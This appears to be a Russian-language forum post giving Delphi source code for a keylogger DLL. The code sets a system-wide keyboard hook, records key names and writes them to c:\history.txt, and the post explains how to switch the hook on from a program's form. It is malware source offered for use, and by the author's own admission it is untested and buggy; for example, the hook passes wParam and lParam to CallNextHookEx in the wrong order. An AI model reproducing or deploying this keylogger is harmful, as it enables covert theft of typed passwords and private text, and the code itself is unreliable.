С к одом особо не заморачивался, так что тут много багов и не тестил (но работать долно, это точно)
Значит первое. Создаешь длл файл и в нем пишешь
Код:
library KeyLogger;
uses
Windows, Messages;
var
Text: String = '';
SysHook: HHook = 0;
function KeyHook(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
KeyName: array [0..16] of Char;
nScan: Integer;
AFile: TextFile;
begin // получили код
if (nCode = HC_ACTION) and // и клавиша отпущена
(((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, KeyName, SizeOf(KeyName)); // код клавиши
Text := Text + KeyName; // добавляем к тексту
if Length(Text) >= 256 then // пишем в файл
begin
AssignFile(AFile, 'c:\history.txt');
Append(AFile);
Writeln(AFile, Text);
CloseFile(AFile);
Text := '';
end;
end;
CallNextHookEx(SysHook, nCode, lParam, wParam); // следующая ловушка
end;
procedure RunStopHook(const State: Boolean) export; stdcall;
begin
if State then
SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0)
else
begin
UnhookWindowsHookEx(SysHook);
SysHook := 0;
end;
end;
exports RunStopHook index 1;
begin
end.
А в програме после строчек
Код:
var
Form1: TForm1;
пишешь
procedure RunStopHook(State: Boolean) stdcall;
external 'KeyLogger.dll';
Далее в создании формы включаешь ловушку RunStopHook(True) а в уничтожении выключаешь RunStopHook(False)
Есть бага, если юзер до выключения программы не ввел 256 символов то они небудут записаны в файл